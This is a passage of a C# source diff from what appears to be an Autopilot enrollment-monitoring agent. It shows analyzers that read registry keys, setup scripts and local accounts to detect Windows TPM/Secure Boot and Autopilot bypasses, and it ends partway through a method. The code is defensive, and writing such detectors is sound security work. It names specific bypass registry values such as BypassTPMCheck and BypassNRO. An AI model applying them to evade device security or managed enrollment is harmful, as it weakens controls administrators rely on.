||||
/// TPM-backed features (WHfB, BitLocker TPM protector, Device Health Attestation,
|
||||
/// Credential Guard) — a silent quality risk not otherwise surfaced by enrollment_complete.
|
||||
///
|
||||
/// Checks performed:
|
||||
/// 1. HKLM\SYSTEM\Setup\LabConfig\Bypass{TPM,SecureBoot,RAM,Storage,Disk,CPU}Check (install-time)
|
||||
/// 2. HKLM\SYSTEM\Setup\MoSetup\AllowUpgradesWithUnsupportedTPMOrCPU (in-place upgrade)
|
||||
/// 3. HKU\<SID>\SOFTWARE\Microsoft\PCHC\UpgradeEligibility (WU upgrade bypass, per-user)
|
||||
/// 4. %WINDIR%\Setup\Scripts\SetupComplete.cmd + ErrorHandler.cmd (suspicious post-OOBE hooks)
|
||||
///
|
||||
/// Correlation:
|
||||
/// Bypass flags are cross-checked against current TPM and SecureBoot state; a bypass
|
||||
/// combined with a missing security feature is escalated to "critical".
|
||||
///
|
||||
/// Runs only at startup: the inspected artefacts are pre-enrollment state (install-time
|
||||
/// registry keys, OEM/bypass scripts) that do not change during enrollment. Shutdown
|
||||
/// would just re-emit the same data — the analyzer treats AnalyzeAtShutdown as a no-op.
|
||||
/// </summary>
|
||||
public class IntegrityBypassAnalyzer : IAgentAnalyzer
|
||||
{
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly AgentLogger _logger;
|
||||
|
||||
public string Name => "IntegrityBypassAnalyzer";
|
||||
|
||||
// LabConfig bypass value names. Both BypassStorageCheck and BypassDiskCheck are observed
|
||||
// in the wild — scripts differ, both should be captured.
|
||||
private static readonly string[] LabConfigBypassValues = new[]
|
||||
{
|
||||
"BypassTPMCheck",
|
||||
"BypassSecureBootCheck",
|
||||
"BypassRAMCheck",
|
||||
"BypassStorageCheck",
|
||||
"BypassDiskCheck",
|
||||
"BypassCPUCheck"
|
||||
};
|
||||
|
||||
// Registry base SIDs that are NOT real user profiles
|
||||
private static readonly HashSet<string> SystemSids = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
".DEFAULT",
|
||||
"S-1-5-18", // LocalSystem
|
||||
"S-1-5-19", // LocalService
|
||||
"S-1-5-20" // NetworkService
|
||||
};
|
||||
|
||||
public IntegrityBypassAnalyzer(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
AgentLogger logger)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_emitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
}
|
||||
|
||||
public void AnalyzeAtStartup()
|
||||
{
|
||||
_logger.Info($"{Name}: Running startup analysis");
|
||||
RunAnalysis("startup");
|
||||
}
|
||||
|
||||
public void AnalyzeAtShutdown()
|
||||
{
|
||||
// Pre-enrollment state does not change during enrollment — skip the shutdown run.
|
||||
_logger.Debug($"{Name}: Shutdown no-op (bypass state is pre-enrollment, already captured at startup)");
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Core analysis
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void RunAnalysis(string trigger)
|
||||
{
|
||||
try
|
||||
{
|
||||
var labConfig = CheckLabConfig();
|
||||
var moSetup = CheckMoSetupAllowUnsupported();
|
||||
var pchc = CheckPchcUpgradeEligibility();
|
||||
var setupScripts = CheckSetupScripts();
|
||||
|
||||
var tpmPresent = CheckTpmPresentAndEnabled();
|
||||
var secureBootEnabled = CheckSecureBootEnabled();
|
||||
|
||||
// --------- Severity aggregation ---------
|
||||
var severity = EventSeverity.Info;
|
||||
var findings = new List<string>();
|
||||
|
||||
bool anyLabConfigBypass = labConfig.ActiveBypasses.Count > 0;
|
||||
bool labConfigKeyExists = labConfig.KeyExists;
|
||||
bool moSetupBypass = moSetup.Value == 1;
|
||||
bool pchcBypass = pchc.AnyUserWithFlag;
|
||||
bool scriptsPresent = setupScripts.Any(s => s.Exists);
|
||||
|
||||
// Critical: bypass + corresponding feature missing
|
||||
if (labConfig.ActiveBypasses.Contains("BypassTPMCheck") && tpmPresent.HasValue && tpmPresent.Value == false)
|
||||
{
|
||||
severity = Escalate(severity, EventSeverity.Critical);
|
||||
findings.Add("tpm_bypass_with_missing_tpm");
|
||||
}
|
||||
if (labConfig.ActiveBypasses.Contains("BypassSecureBootCheck") && secureBootEnabled.HasValue && secureBootEnabled.Value == false)
|
||||
{
|
||||
severity = Escalate(severity, EventSeverity.Critical);
|
||||
findings.Add("secureboot_bypass_with_disabled_secureboot");
|
||||
}
|
||||
if (moSetupBypass && ((tpmPresent.HasValue && tpmPresent.Value == false) || (secureBootEnabled.HasValue && secureBootEnabled.Value == false)))
|
||||
{
|
||||
severity = Escalate(severity, EventSeverity.Critical);
|
||||
findings.Add("upgrade_bypass_with_missing_feature");
|
||||
}
|
||||
|
||||
// Warning: bypass active but feature currently still OK, or scripts present, or PCHC flag
|
||||
if (anyLabConfigBypass && severity < EventSeverity.Warning)
|
||||
{
|
||||
severity = Escalate(severity, EventSeverity.Warning);
|
||||
findings.Add("labconfig_bypass_active");
|
||||
}
|
||||
if (moSetupBypass && severity < EventSeverity.Warning)
|
||||
{
|
||||
severity = Escalate(severity, EventSeverity.Warning);
|
||||
findings.Add("mosetup_upgrade_bypass_active");
|
||||
}
|
||||
if (pchcBypass)
|
||||
{
|
||||
severity = Escalate(severity, EventSeverity.Warning);
|
||||
findings.Add("pchc_upgrade_eligibility_forced");
|
||||
}
|
||||
if (scriptsPresent)
|
||||
{
|
||||
severity = Escalate(severity, EventSeverity.Warning);
|
||||
findings.Add("suspicious_setup_scripts_present");
|
||||
}
|
||||
|
||||
// Info: key exists but nothing active
|
||||
if (severity == EventSeverity.Info)
|
||||
{
|
||||
if (labConfigKeyExists)
|
||||
findings.Add("labconfig_key_present_inactive");
|
||||
else
|
||||
findings.Add("no_bypass_indicators");
|
||||
}
|
||||
|
||||
string findingLabel = findings.FirstOrDefault() ?? "no_bypass_indicators";
|
||||
string message = severity >= EventSeverity.Warning
|
||||
? $"{Name}: Integrity bypass indicators detected ({string.Join(",", findings)})"
|
||||
: $"{Name}: No integrity bypass indicators";
|
||||
|
||||
_logger.Info(
|
||||
$"{Name}: severity={severity}, findings=[{string.Join(",", findings)}], " +
|
||||
$"labConfigBypasses={labConfig.ActiveBypasses.Count}, " +
|
||||
$"moSetupBypass={moSetupBypass}, pchcBypass={pchcBypass}, " +
|
||||
$"scriptsPresent={scriptsPresent}, tpm={FormatNullableBool(tpmPresent)}, " +
|
||||
$"secureBoot={FormatNullableBool(secureBootEnabled)}");
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "severity", severity.ToString().ToLowerInvariant() },
|
||||
{ "finding", findingLabel },
|
||||
{ "findings", findings },
|
||||
{ "triggered_at", trigger },
|
||||
{ "enrollment_phase_at_check", EnrollmentPhase.Unknown.ToString() },
|
||||
{ "checks", new Dictionary<string, object>
|
||||
{
|
||||
{ "lab_config", new Dictionary<string, object>
|
||||
{
|
||||
{ "key_exists", labConfig.KeyExists },
|
||||
{ "values", labConfig.Values },
|
||||
{ "active_bypasses", labConfig.ActiveBypasses }
|
||||
}
|
||||
},
|
||||
{ "mo_setup", new Dictionary<string, object>
|
||||
{
|
||||
{ "key_exists", moSetup.KeyExists },
|
||||
{ "value", moSetup.Value },
|
||||
{ "flagged", moSetupBypass }
|
||||
}
|
||||
},
|
||||
{ "pchc_upgrade_eligibility", new Dictionary<string, object>
|
||||
{
|
||||
{ "users_checked", pchc.UsersChecked },
|
||||
{ "users_with_flag", pchc.UsersWithFlag },
|
||||
{ "any_user_with_flag", pchc.AnyUserWithFlag }
|
||||
}
|
||||
},
|
||||
{ "setup_scripts", setupScripts.Select(s => new Dictionary<string, object>
|
||||
{
|
||||
{ "path", s.Path },
|
||||
{ "exists", s.Exists },
|
||||
{ "size_bytes", s.SizeBytes },
|
||||
{ "last_modified_utc", s.LastModifiedUtc.HasValue
|
||||
? s.LastModifiedUtc.Value.ToString("O")
|
||||
: null }
|
||||
}).ToList()
|
||||
},
|
||||
{ "correlation", new Dictionary<string, object>
|
||||
{
|
||||
{ "tpm_present_and_enabled", tpmPresent },
|
||||
{ "secure_boot_enabled", secureBootEnabled }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "integrity_bypass_analysis",
|
||||
Severity = severity,
|
||||
Source = Name,
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = message,
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"{Name}: Analysis failed unexpectedly", ex);
|
||||
}
|
||||
}
|
||||
|
||||
private static EventSeverity Escalate(EventSeverity current, EventSeverity candidate)
|
||||
=> candidate > current ? candidate : current;
|
||||
|
||||
private static string FormatNullableBool(bool? value)
|
||||
=> value.HasValue ? value.Value.ToString() : "unknown";
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Individual checks
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private LabConfigCheckResult CheckLabConfig()
|
||||
{
|
||||
var result = new LabConfigCheckResult();
|
||||
try
|
||||
{
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\Setup\LabConfig", writable: false))
|
||||
{
|
||||
if (key == null)
|
||||
{
|
||||
_logger.Debug($"{Name}: HKLM\\SYSTEM\\Setup\\LabConfig not present");
|
||||
return result;
|
||||
}
|
||||
|
||||
result.KeyExists = true;
|
||||
foreach (var valueName in LabConfigBypassValues)
|
||||
{
|
||||
var raw = key.GetValue(valueName);
|
||||
int intValue = 0;
|
||||
if (raw != null)
|
||||
{
|
||||
try { intValue = Convert.ToInt32(raw); }
|
||||
catch (Exception ex) when (ex is InvalidCastException || ex is FormatException || ex is OverflowException)
|
||||
{
|
||||
_logger.Warning($"{Name}: LabConfig '{valueName}' has unparseable value (raw type={raw.GetType().Name}): {ex.Message}");
|
||||
intValue = 0;
|
||||
}
|
||||
}
|
||||
result.Values[valueName] = intValue;
|
||||
if (intValue == 1)
|
||||
{
|
||||
result.ActiveBypasses.Add(valueName);
|
||||
_logger.Debug($"{Name}: LabConfig {valueName}=1 (active bypass)");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"{Name}: Failed to read LabConfig registry: {ex.Message}");
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private MoSetupCheckResult CheckMoSetupAllowUnsupported()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\Setup\MoSetup", writable: false))
|
||||
{
|
||||
if (key == null)
|
||||
return new MoSetupCheckResult { KeyExists = false, Value = 0 };
|
||||
|
||||
var raw = key.GetValue("AllowUpgradesWithUnsupportedTPMOrCPU");
|
||||
if (raw == null)
|
||||
return new MoSetupCheckResult { KeyExists = true, Value = 0 };
|
||||
|
||||
int intValue = 0;
|
||||
try { intValue = Convert.ToInt32(raw); }
|
||||
catch (Exception ex) when (ex is InvalidCastException || ex is FormatException || ex is OverflowException)
|
||||
{
|
||||
_logger.Warning($"{Name}: MoSetup 'AllowUpgradesWithUnsupportedTPMOrCPU' has unparseable value (raw type={raw.GetType().Name}): {ex.Message}");
|
||||
}
|
||||
return new MoSetupCheckResult { KeyExists = true, Value = intValue };
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"{Name}: Failed to read MoSetup registry: {ex.Message}");
|
||||
return new MoSetupCheckResult { KeyExists = false, Value = 0 };
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Enumerates HKEY_USERS and checks SOFTWARE\Microsoft\PCHC\UpgradeEligibility for each
|
||||
/// real user profile. Agent runs as SYSTEM — loaded hives include all interactive user
|
||||
/// profiles that Windows has mounted. SIDs for .DEFAULT and system accounts are skipped.
|
||||
/// Profiles whose hive is not currently loaded are not visible here; that is acceptable —
|
||||
/// the relevant user during enrollment is the primary logged-in user whose hive is loaded.
|
||||
/// </summary>
|
||||
private PchcCheckResult CheckPchcUpgradeEligibility()
|
||||
{
|
||||
var result = new PchcCheckResult();
|
||||
try
|
||||
{
|
||||
using (var users = Registry.Users)
|
||||
{
|
||||
foreach (var sid in users.GetSubKeyNames())
|
||||
{
|
||||
if (string.IsNullOrEmpty(sid)) continue;
|
||||
if (SystemSids.Contains(sid)) continue;
|
||||
// Skip the Classes-hive companions
|
||||
if (sid.EndsWith("_Classes", StringComparison.OrdinalIgnoreCase)) continue;
|
||||
|
||||
result.UsersChecked.Add(sid);
|
||||
|
||||
try
|
||||
{
|
||||
using (var pchcKey = users.OpenSubKey($@"{sid}\SOFTWARE\Microsoft\PCHC", writable: false))
|
||||
{
|
||||
if (pchcKey == null) continue;
|
||||
|
||||
var raw = pchcKey.GetValue("UpgradeEligibility");
|
||||
if (raw == null) continue;
|
||||
|
||||
int intValue = 0;
|
||||
try { intValue = Convert.ToInt32(raw); }
|
||||
catch (Exception ex) when (ex is InvalidCastException || ex is FormatException || ex is OverflowException)
|
||||
{
|
||||
_logger.Warning($"{Name}: PCHC UpgradeEligibility for SID {sid} has unparseable value (raw type={raw.GetType().Name}): {ex.Message}");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (intValue == 1)
|
||||
{
|
||||
result.UsersWithFlag.Add(sid);
|
||||
_logger.Debug($"{Name}: PCHC UpgradeEligibility=1 for SID {sid}");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: Failed to read PCHC for SID {sid}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"{Name}: Failed to enumerate HKEY_USERS: {ex.Message}");
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private List<SetupScriptCheckResult> CheckSetupScripts()
|
||||
{
|
||||
var results = new List<SetupScriptCheckResult>();
|
||||
var windir = Environment.GetEnvironmentVariable("WINDIR");
|
||||
if (string.IsNullOrEmpty(windir))
|
||||
windir = @"C:\Windows";
|
||||
|
||||
var candidates = new[]
|
||||
{
|
||||
Path.Combine(windir, @"Setup\Scripts\SetupComplete.cmd"),
|
||||
Path.Combine(windir, @"Setup\Scripts\ErrorHandler.cmd")
|
||||
};
|
||||
|
||||
foreach (var path in candidates)
|
||||
{
|
||||
var entry = new SetupScriptCheckResult { Path = path, Exists = false };
|
||||
try
|
||||
{
|
||||
if (File.Exists(path))
|
||||
{
|
||||
entry.Exists = true;
|
||||
var fi = new FileInfo(path);
|
||||
entry.SizeBytes = fi.Length;
|
||||
entry.LastModifiedUtc = fi.LastWriteTimeUtc;
|
||||
_logger.Debug($"{Name}: Setup script present: {path} ({fi.Length} bytes)");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: Failed to stat {path}: {ex.Message}");
|
||||
}
|
||||
results.Add(entry);
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true if a TPM is present and enabled, false if definitely absent/disabled,
|
||||
/// null if indeterminate (query failed). Uses Win32_Tpm in root\CIMV2\Security\MicrosoftTpm.
|
||||
/// </summary>
|
||||
private bool? CheckTpmPresentAndEnabled()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
@"root\CIMV2\Security\MicrosoftTpm",
|
||||
"SELECT IsEnabled_InitialValue, IsActivated_InitialValue FROM Win32_Tpm"))
|
||||
using (var results = searcher.Get())
|
||||
{
|
||||
foreach (ManagementObject tpm in results)
|
||||
{
|
||||
using (tpm)
|
||||
{
|
||||
var isEnabled = tpm["IsEnabled_InitialValue"] != null
|
||||
&& Convert.ToBoolean(tpm["IsEnabled_InitialValue"]);
|
||||
// At least one Tpm instance exists — return its enabled state
|
||||
return isEnabled;
|
||||
}
|
||||
}
|
||||
}
|
||||
// No Win32_Tpm instance returned — no TPM present
|
||||
return false;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: TPM WMI query failed: {ex.Message}");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true if UEFI Secure Boot is enabled, false if disabled, null if not
|
||||
/// queryable (e.g. BIOS firmware without the registry key).
|
||||
/// </summary>
|
||||
private bool? CheckSecureBootEnabled()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(
|
||||
@"SYSTEM\CurrentControlSet\Control\SecureBoot\State", writable: false))
|
||||
{
|
||||
if (key == null) return null;
|
||||
var raw = key.GetValue("UEFISecureBootEnabled");
|
||||
if (raw == null) return null;
|
||||
return Convert.ToInt32(raw) == 1;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: SecureBoot registry read failed: {ex.Message}");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Private result types
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private class LabConfigCheckResult
|
||||
{
|
||||
public bool KeyExists { get; set; }
|
||||
public Dictionary<string, int> Values { get; set; } = new Dictionary<string, int>();
|
||||
public List<string> ActiveBypasses { get; set; } = new List<string>();
|
||||
}
|
||||
|
||||
private class MoSetupCheckResult
|
||||
{
|
||||
public bool KeyExists { get; set; }
|
||||
public int Value { get; set; }
|
||||
}
|
||||
|
||||
private class PchcCheckResult
|
||||
{
|
||||
public List<string> UsersChecked { get; set; } = new List<string>();
|
||||
public List<string> UsersWithFlag { get; set; } = new List<string>();
|
||||
public bool AnyUserWithFlag => UsersWithFlag.Count > 0;
|
||||
}
|
||||
|
||||
private class SetupScriptCheckResult
|
||||
{
|
||||
public string Path { get; set; }
|
||||
public bool Exists { get; set; }
|
||||
public long SizeBytes { get; set; }
|
||||
public DateTime? LastModifiedUtc { get; set; }
|
||||
}
|
||||
}
|
||||
}
|
||||
-477
@@ -1,477 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers
|
||||
{
|
||||
/// <summary>
|
||||
/// Analyzes local administrator accounts and user profiles on the device
|
||||
/// to detect pre-enrollment admin account creation — a known Autopilot bypass technique.
|
||||
///
|
||||
/// Checks performed:
|
||||
/// 1. BypassNRO registry flag (HKLM\...\OOBE\BypassNRO = 1)
|
||||
/// 2. Unexpected local user accounts (via WMI Win32_UserAccount)
|
||||
/// 3. Unexpected C:\Users profile directories
|
||||
///
|
||||
/// Confidence scoring:
|
||||
/// BypassNRO = 1 → +20 (low indicator)
|
||||
/// Unexpected local account found → +40 (medium indicator)
|
||||
/// Account + matching C:\Users profile → +40 (high indicator, profile overlap)
|
||||
///
|
||||
/// Emits a single "local_admin_analysis" event at startup and at shutdown,
|
||||
/// enabling delta detection between pre- and post-enrollment state.
|
||||
/// </summary>
|
||||
public class LocalAdminAnalyzer : IAgentAnalyzer
|
||||
{
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly List<string> _allowedAccounts;
|
||||
|
||||
// Built-in accounts and profile folders always present on a freshly imaged Windows device.
|
||||
// "Public", "Default", "Default User", "All Users" are folders/junctions in C:\Users, not user accounts.
|
||||
// "defaultuser0" is a temporary OOBE/Autopilot system account created during enrollment.
|
||||
private static readonly List<string> BuiltInAllowedAccounts = new List<string>
|
||||
{
|
||||
"Administrator",
|
||||
"Guest",
|
||||
"DefaultAccount",
|
||||
"WDAGUtilityAccount",
|
||||
"defaultuser0", // Temporary OOBE/Autopilot system account, present during enrollment
|
||||
"defaultuser1", // Sometimes seen in OOBE, but not always present
|
||||
"defaultuser2", // Sometimes seen in OOBE, but not always present
|
||||
"Public", // Profile folder (not a user account)
|
||||
"Default", // Default user profile template
|
||||
"Default User", // Symlink to Default in some Windows versions
|
||||
"All Users" // Junction pointing to C:\ProgramData, always present
|
||||
};
|
||||
|
||||
public string Name => "LocalAdminAnalyzer";
|
||||
|
||||
public LocalAdminAnalyzer(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
AgentLogger logger,
|
||||
List<string> allowedAccounts = null)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_emitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
|
||||
// Tenant-supplied accounts are additive (union with built-ins, not replacement)
|
||||
_allowedAccounts = new List<string>(BuiltInAllowedAccounts);
|
||||
if (allowedAccounts != null)
|
||||
{
|
||||
foreach (var account in allowedAccounts)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(account) &&
|
||||
!_allowedAccounts.Any(a => string.Equals(a, account, StringComparison.OrdinalIgnoreCase)))
|
||||
{
|
||||
_allowedAccounts.Add(account);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void AnalyzeAtStartup()
|
||||
{
|
||||
_logger.Info($"{Name}: Running startup analysis");
|
||||
RunAnalysis("startup", EnrollmentPhase.Unknown);
|
||||
}
|
||||
|
||||
public void AnalyzeAtShutdown()
|
||||
{
|
||||
_logger.Info($"{Name}: Running shutdown analysis");
|
||||
|
||||
// At shutdown a user has logged in — their profile folder and account are expected.
|
||||
// Detect logged-in users via explorer.exe owner (same technique as DesktopArrivalDetector)
|
||||
// and add them dynamically so they don't trigger false positives.
|
||||
var loggedInUsers = GetLoggedInUserNames();
|
||||
// Phase=Unknown: this is an analysis event, not a phase declaration.
|
||||
// Phase-tagged events are reserved for explicit phase transitions (esp_phase_changed etc.).
|
||||
RunAnalysis("shutdown", EnrollmentPhase.Unknown, loggedInUsers);
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Core analysis
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void RunAnalysis(string trigger, EnrollmentPhase phase, List<string> dynamicAllowedUsers = null)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Build effective allowed list: static + optional dynamic (logged-in users at shutdown)
|
||||
var effectiveAllowed = _allowedAccounts;
|
||||
if (dynamicAllowedUsers != null && dynamicAllowedUsers.Count > 0)
|
||||
{
|
||||
effectiveAllowed = new List<string>(_allowedAccounts);
|
||||
foreach (var user in dynamicAllowedUsers)
|
||||
{
|
||||
if (!effectiveAllowed.Any(a => string.Equals(a, user, StringComparison.OrdinalIgnoreCase)))
|
||||
{
|
||||
effectiveAllowed.Add(user);
|
||||
_logger.Info($"{Name}: Dynamically allowing logged-in user: {user}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var bypassNroResult = CheckBypassNroRegistry();
|
||||
var accountsResult = CheckLocalAdminAccounts(effectiveAllowed);
|
||||
var profilesResult = CheckUserProfiles(effectiveAllowed);
|
||||
|
||||
int confidenceScore = 0;
|
||||
|
||||
if (bypassNroResult.Value == 1)
|
||||
confidenceScore += 20;
|
||||
|
||||
if (accountsResult.Unexpected.Count > 0)
|
||||
confidenceScore += 40;
|
||||
|
||||
// Profile overlap: unexpected account AND matching C:\Users folder
|
||||
bool profileOverlap = accountsResult.Unexpected.Any(a =>
|
||||
profilesResult.Unexpected.Any(p =>
|
||||
string.Equals(a, p, StringComparison.OrdinalIgnoreCase)));
|
||||
if (profileOverlap)
|
||||
confidenceScore += 40;
|
||||
|
||||
confidenceScore = Math.Min(confidenceScore, 100);
|
||||
|
||||
EventSeverity severity;
|
||||
string findingLabel;
|
||||
|
||||
if (confidenceScore == 0)
|
||||
{
|
||||
severity = EventSeverity.Info;
|
||||
findingLabel = "no_unexpected_admins_detected";
|
||||
}
|
||||
else if (confidenceScore < 40)
|
||||
{
|
||||
severity = EventSeverity.Info;
|
||||
findingLabel = "bypass_nro_flag_only";
|
||||
}
|
||||
else if (confidenceScore < 80)
|
||||
{
|
||||
severity = EventSeverity.Warning;
|
||||
findingLabel = "unexpected_local_admins_detected";
|
||||
}
|
||||
else
|
||||
{
|
||||
severity = EventSeverity.Error;
|
||||
findingLabel = "unexpected_local_admins_detected";
|
||||
}
|
||||
|
||||
_logger.Info(
|
||||
$"{Name}: confidence={confidenceScore}, finding={findingLabel}, " +
|
||||
$"bypassNro={bypassNroResult.Value}, " +
|
||||
$"unexpectedAccounts={accountsResult.Unexpected.Count}, " +
|
||||
$"unexpectedProfiles={profilesResult.Unexpected.Count}");
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "confidence_score", confidenceScore },
|
||||
{ "severity", severity.ToString().ToLower() },
|
||||
{ "finding", findingLabel },
|
||||
{ "triggered_at", trigger },
|
||||
{ "enrollment_phase_at_check", phase.ToString() },
|
||||
{ "allowed_accounts", effectiveAllowed },
|
||||
{ "dynamically_allowed_users", dynamicAllowedUsers ?? new List<string>() },
|
||||
{ "checks", new Dictionary<string, object>
|
||||
{
|
||||
{ "bypass_nro", new Dictionary<string, object>
|
||||
{
|
||||
{ "value", bypassNroResult.Value },
|
||||
{ "flagged", bypassNroResult.Value == 1 }
|
||||
}
|
||||
},
|
||||
{ "unexpected_accounts", accountsResult.Unexpected },
|
||||
{ "unexpected_profiles", profilesResult.Unexpected },
|
||||
{ "accounts_checked", accountsResult.AllChecked },
|
||||
{ "profiles_found", profilesResult.AllFound }
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
var message = confidenceScore == 0
|
||||
? $"{Name}: No unexpected local admins detected"
|
||||
: $"{Name}: Unexpected admin activity detected (confidence={confidenceScore})";
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "local_admin_analysis",
|
||||
Severity = severity,
|
||||
Source = Name,
|
||||
Phase = phase,
|
||||
Message = message,
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"{Name}: Analysis failed unexpectedly", ex);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Individual checks
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private BypassNroCheckResult CheckBypassNroRegistry()
|
||||
{
|
||||
try
|
||||
{
|
||||
const string keyPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE";
|
||||
const string valueName = "BypassNRO";
|
||||
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(keyPath, writable: false))
|
||||
{
|
||||
if (key == null)
|
||||
{
|
||||
_logger.Debug($"{Name}: BypassNRO registry key not found");
|
||||
return new BypassNroCheckResult { Value = 0, KeyExists = false };
|
||||
}
|
||||
|
||||
var raw = key.GetValue(valueName);
|
||||
if (raw == null)
|
||||
{
|
||||
_logger.Debug($"{Name}: BypassNRO value not present");
|
||||
return new BypassNroCheckResult { Value = 0, KeyExists = true };
|
||||
}
|
||||
|
||||
var intValue = Convert.ToInt32(raw);
|
||||
_logger.Debug($"{Name}: BypassNRO = {intValue}");
|
||||
return new BypassNroCheckResult { Value = intValue, KeyExists = true };
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"{Name}: Failed to read BypassNRO registry: {ex.Message}");
|
||||
return new BypassNroCheckResult { Value = 0, KeyExists = false };
|
||||
}
|
||||
}
|
||||
|
||||
private LocalAccountCheckResult CheckLocalAdminAccounts(List<string> allowedAccounts)
|
||||
{
|
||||
var allChecked = new List<string>();
|
||||
var unexpected = new List<string>();
|
||||
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT Name, Disabled FROM Win32_UserAccount WHERE LocalAccount = True"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var name = obj["Name"]?.ToString() ?? string.Empty;
|
||||
var disabled = obj["Disabled"] != null && Convert.ToBoolean(obj["Disabled"]);
|
||||
|
||||
if (string.IsNullOrEmpty(name))
|
||||
continue;
|
||||
|
||||
allChecked.Add(name);
|
||||
|
||||
// Skip disabled accounts — they cannot be used to log in
|
||||
if (disabled)
|
||||
continue;
|
||||
|
||||
if (!allowedAccounts.Any(a =>
|
||||
string.Equals(a, name, StringComparison.OrdinalIgnoreCase)))
|
||||
{
|
||||
unexpected.Add(name);
|
||||
_logger.Debug($"{Name}: Unexpected local account: {name}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"{Name}: Failed to enumerate local accounts via WMI: {ex.Message}");
|
||||
}
|
||||
|
||||
return new LocalAccountCheckResult { AllChecked = allChecked, Unexpected = unexpected };
|
||||
}
|
||||
|
||||
private UserProfileCheckResult CheckUserProfiles(List<string> allowedAccounts)
|
||||
{
|
||||
